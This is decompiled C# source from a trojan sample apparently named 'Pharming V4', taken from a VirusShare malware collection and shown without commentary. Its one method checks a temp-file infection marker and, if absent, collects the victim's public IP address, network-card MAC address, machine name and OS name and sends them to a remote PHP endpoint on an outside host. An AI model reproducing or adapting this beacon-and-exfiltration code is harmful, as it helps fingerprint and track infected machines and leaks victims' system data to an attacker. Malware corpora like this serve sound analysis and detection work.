// Decompiled with JetBrains decompiler
// Type: Pharming_V4.enviophp
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Net;
using System.Net.NetworkInformation;

namespace Pharming_V4
{
  [StandardModule]
  internal sealed class enviophp
  {
    public static void enviophp()
    {
      if (System.IO.File.Exists(Path.GetTempPath() + "\\checkinfect.txt"))
      {
        Console.WriteLine("Ja infectado!");
      }
      else
      {
        string end = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd();
        string str = NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString();
        new WebClient().DownloadString("http://www.shaunsmyth.com/images/home/novo.php?nomepc=" + Environment.MachineName + "&osName=" + Module1.osName + "&netCard=" + str + "&ipp=" + end);
      }
    }
  }
}